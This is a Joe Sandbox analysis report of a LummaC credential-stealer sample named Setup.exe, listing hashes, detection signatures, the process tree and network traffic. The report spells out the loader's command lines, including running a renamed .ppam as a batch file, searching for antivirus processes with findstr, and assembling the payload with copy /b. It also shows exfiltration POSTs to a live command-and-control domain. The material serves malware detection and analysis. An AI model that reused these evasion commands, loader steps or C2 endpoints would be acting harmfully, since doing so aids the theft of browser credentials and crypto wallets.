Edit tour

Windows Analysis Report
Setup.exe

Overview

General Information

Sample name:	Setup.exe
Analysis ID:	1663643
MD5:	1a27fceaa8cf30b45e58957195768a4e
SHA1:	5daed928aa0c440e09d2832f6046c49f3ff47dc8
SHA256:	584c427269b460b899d5734d36fd08e5037827eea6fd5d6972388a12d0b368d6
Tags:	AutoITexeLummaStealeruser-aachum
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Sigma detected: Search for Antivirus process

Yara detected LummaC Stealer

Drops PE files with a suspicious file extension

Joe Sandbox ML detected suspicious sample

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE / OLE file has an invalid certificate

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Sigma detected: Suspicious Copy From or To System Directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

Setup.exe (PID: 8140 cmdline: "C:\Users\user\Desktop\Setup.exe" MD5: 1A27FCEAA8CF30B45E58957195768A4E)

cmd.exe (PID: 8188 cmdline: "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7224 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

tasklist.exe (PID: 7732 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7780 cmdline: findstr /I "opssvc wrsa" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

tasklist.exe (PID: 7800 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)

findstr.exe (PID: 7828 cmdline: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7876 cmdline: cmd /c md 306846 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

extrac32.exe (PID: 7900 cmdline: extrac32 /Y /E Reef.ppam MD5: 9472AAB6390E4F1431BAA912FCFF9707)

findstr.exe (PID: 7988 cmdline: findstr /V "Dealt" Bother MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)

cmd.exe (PID: 7984 cmdline: cmd /c copy /b 306846\Fox.com + Resorts + Signing + Oxford + Bored + Kenneth + Administrative + Kansas + Compiled + Accused 306846\Fox.com MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

cmd.exe (PID: 7932 cmdline: cmd /c copy /b ..\Adults.ppam + ..\Pas.ppam + ..\Pcs.ppam + ..\Dealing.ppam + ..\Banks.ppam + ..\Namely.ppam + ..\Chance.ppam + ..\Impose.ppam W MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

Fox.com (PID: 7956 cmdline: Fox.com W MD5: 62D09F076E6E0240548C2F837536A46A)

choice.exe (PID: 2920 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)

cleanup

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Sigma Signatures

Sigma detected: Suspicious Copy From or To System Directory

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat, CommandLine: "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\Setup.exe", ParentImage: C:\Users\user\Desktop\Setup.exe, ParentProcessId: 8140, ParentProcessName: Setup.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat, ProcessId: 8188, ProcessName: cmd.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , CommandLine: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 8188, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn" , ProcessId: 7828, ProcessName: findstr.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-04-12T02:26:17.040274+0200	2028371	3	Unknown Traffic	192.168.2.4	49733	89.169.54.153	443	TCP
2025-04-12T02:26:57.428286+0200	2028371	3	Unknown Traffic	192.168.2.4	49725	104.21.5.162	443	TCP
2025-04-12T02:26:59.045004+0200	2028371	3	Unknown Traffic	192.168.2.4	49726	104.21.5.162	443	TCP
2025-04-12T02:27:00.126270+0200	2028371	3	Unknown Traffic	192.168.2.4	49727	104.21.5.162	443	TCP
2025-04-12T02:27:01.576068+0200	2028371	3	Unknown Traffic	192.168.2.4	49728	104.21.5.162	443	TCP
2025-04-12T02:27:04.077461+0200	2028371	3	Unknown Traffic	192.168.2.4	49729	104.21.5.162	443	TCP
2025-04-12T02:27:05.285701+0200	2028371	3	Unknown Traffic	192.168.2.4	49730	104.21.5.162	443	TCP
2025-04-12T02:27:06.389151+0200	2028371	3	Unknown Traffic	192.168.2.4	49731	104.21.5.162	443	TCP
2025-04-12T02:27:08.292766+0200	2028371	3	Unknown Traffic	192.168.2.4	49732	104.21.5.162	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://vqaliantheart.live/oniz

Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: Setup.exe	Virustotal: Detection: 28%			Perma Link
Source: Setup.exe	ReversingLabs: Detection: 33%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 92.5%

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00405B6C FindFirstFileW,FindClose,		0_2_00405B6C
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_0040652D DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,		0_2_0040652D

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\306846	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\306846\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49728 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49729 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49726 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49725 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49727 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49731 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49730 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49732 -> 104.21.5.162:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:49733 -> 89.169.54.153:443

Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 85Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KU1r6d44YOdIUC5712User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 19623Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ECtIWOIn02xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 8745Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=QCYEOrKz6f11hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 20408Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=G446bt0nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 3760Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=ObdShEMWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 2676Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=9Y8KE5UObUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 556714Host: vqaliantheart.live
Source: global traffic	HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 123Host: vqaliantheart.live

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: SUOnlaSwBqeQImGvxTLKMBOcpRJpX.SUOnlaSwBqeQImGvxTLKMBOcpRJpX
Source: global traffic	DNS traffic detected: DNS query: vqaliantheart.live
Source: global traffic	DNS traffic detected: DNS query: h1.mockupeastcoast.shop

Source: unknown

HTTP traffic detected: POST /oniz HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36Content-Length: 85Host: vqaliantheart.live

Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Setup.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://crl.globalsign.com/ca/gstsacasha384g4.crl0
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0G
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://crl.globalsign.com/root-r6.crl0G
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: Setup.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: Setup.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: Setup.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: Setup.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://ocsp.globalsign.com/ca/gstsacasha384g40C
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr306
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://ocsp2.globalsign.com/rootr606
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: http://secure.globalsign.com/cacert/gstsacasha384g4.crt0
Source: Fox.com, 0000000D.00000000.1254705270.0000000000865000.00000002.00000001.01000000.00000008.sdmp, Compiled.9.dr, Fox.com.1.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: Setup.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: Accused.9.dr, Fox.com.1.dr	String found in binary or memory: https://www.autoitscript.com/autoit3/
Source: Fox.com.1.dr	String found in binary or memory: https://www.globalsign.com/repository/0

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734

Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.5.162:443 -> 192.168.2.4:49732 version: TLS 1.2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00404B88 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_00404B88

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_004033E9 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,CoUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,ExitWindowsEx,

0_2_004033E9

Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\BudgetLifetime	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\DefinitelyShare	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\LoveFeof	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\DeanSingle	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\FisheriesSte	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\ArabSim	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File created: C:\Windows\AttractReality	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00406947		0_2_00406947
Source: C:\Users\user\Desktop\Setup.exe	Code function: 0_2_00404451		0_2_00404451

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\306846\Fox.com 1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49

Source: Setup.exe

Static PE information: invalid certificate

Source: Setup.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@26/23@3/2

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00403FDF GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_00403FDF

Source: C:\Users\user\Desktop\Setup.exe

Code function: 0_2_00402218 CoCreateInstance,

0_2_00402218

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7224:120:WilError_03

Source: C:\Users\user\Desktop\Setup.exe

File created: C:\Users\user\AppData\Local\Temp\nsw98AE.tmp

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat

Source: Setup.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Setup.exe	Virustotal: Detection: 28%
Source: Setup.exe	ReversingLabs: Detection: 33%

Source: C:\Users\user\Desktop\Setup.exe

File read: C:\Users\user\Desktop\Setup.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Setup.exe "C:\Users\user\Desktop\Setup.exe"
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 306846
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Reef.ppam
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Dealt" Bother
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 306846\Fox.com + Resorts + Signing + Oxford + Bored + Kenneth + Administrative + Kansas + Compiled + Accused 306846\Fox.com
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Adults.ppam + ..\Pas.ppam + ..\Pcs.ppam + ..\Dealing.ppam + ..\Banks.ppam + ..\Namely.ppam + ..\Chance.ppam + ..\Impose.ppam W
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\306846\Fox.com Fox.com W
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
Source: C:\Users\user\Desktop\Setup.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Argument.ppam Argument.ppam.bat & Argument.ppam.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "opssvc wrsa"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "SophosHealth bdservicehost AvastUI AVGUI nsWscSvc ekrn"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 306846	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\extrac32.exe extrac32 /Y /E Reef.ppam	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "Dealt" Bother	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b 306846\Fox.com + Resorts + Signing + Oxford + Bored + Kenneth + Administrative + Kansas + Compiled + Accused 306846\Fox.com	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Adults.ppam + ..\Pas.ppam + ..\Pcs.ppam + ..\Dealing.ppam + ..\Banks.ppam + ..\Namely.ppam + ..\Chance.ppam + ..\Impose.ppam W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\306846\Fox.com Fox.com W	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: acgenral.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Section loaded: iertutil.dll	Jump to behavior
